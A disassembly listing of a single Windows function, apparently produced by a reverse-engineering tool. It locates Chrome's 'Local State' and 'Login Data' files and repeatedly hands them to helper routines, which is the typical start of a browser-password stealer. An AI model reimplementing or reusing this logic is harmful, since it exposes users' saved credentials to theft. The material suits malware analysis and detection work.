Function at 0x140008630
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x498]
sub rsp, 0x590
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140141fc0]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor esi, esi
lea rax, [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Pathschrome.exe
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140008a3f
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x28
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
test eax, eax
jns 0x1400086e2
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
xor r8d, r8d
lea rdx, [0x140129658]
jmp 0x14000872e
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
lea r9, str._sAppDataLocalGoogleChromeUser_DataLocal_State
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x50]
call fcn.140001020
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
lea rax, [rbp + 0x50]
mov r8, rbx
nop dword [rax]
inc r8
cmp word [rax + r8*2], si
jne 0x140008720
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x10]
call fcn.14000d300
nop
lea rax, [rbp + 0x260]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x28
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x14000878a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.e_35m____e_0mError_getting_user_path._Error:__ld_n
call fcn.140001090
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
xor r8d, r8d
lea rdx, [0x140129658]
jmp 0x1400087d1
lea r9, [rbp + 0x260]
lea r8, str._sAppDataLocalGoogleChromeUser_DataDefaultLogin_Data
mov edx, 0x104
lea rcx, [rbp + 0x50]
call fcn.14000c2a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
lea rax, [rbp + 0x50]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x1400087c0
mov r8, rbx
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.14000d300
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x30]
call fcn.1400076c0
nop
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x70]
call fcn.140007c60
movups xmm6, xmmword [rax]
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov qword [rbp - 0x18], rsi
movdqu xmmword [rbp - 0x40], xmm1
mov qword [rbp - 0x30], rsi
movdqu xmmword [rbp - 0x58], xmm1
mov qword [rbp - 0x48], rsi
movdqa xmmword [rsp + 0x30], xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x28]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.140007ee0
lea rax, [rsp + 0x48]
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x48]
call fcn.140009da0
mov rdi, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140009da0
mov rbx, rax
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x78]
call fcn.140009da0
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140006c00
test al, al
jne 0x14000892a
nop word [rax + rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmmword [rsp + 0x30], xmm6
lea rax, [rbp - 0x58]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x28]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.140007ee0
lea rax, [rsp + 0x48]
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x48]
call fcn.140009da0
mov rdi, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140009da0
mov rbx, rax
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x78]
call fcn.140009da0
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140006c00
test al, al
je 0x1400088a0
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
lea rcx, [rbp - 0x58]
call fcn.140009d30
nop
lea rcx, [rbp - 0x40]
call fcn.140009d30
nop
lea rcx, [rbp - 0x28]
call fcn.140009d30
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140008997
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008992
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008992
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010e470
movdqa xmm0, xmmword [0x14012ad50]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x1400089eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400089e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400089e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010e470
movdqa xmm0, xmmword [0x14012ad40]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], si
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x140008a3f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008a3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008a3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010e470
xor eax, eax
mov rcx, qword [rbp + 0x470]
xor rcx, rsp
call fcn.14010e450
lea r11, [rsp + 0x590]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret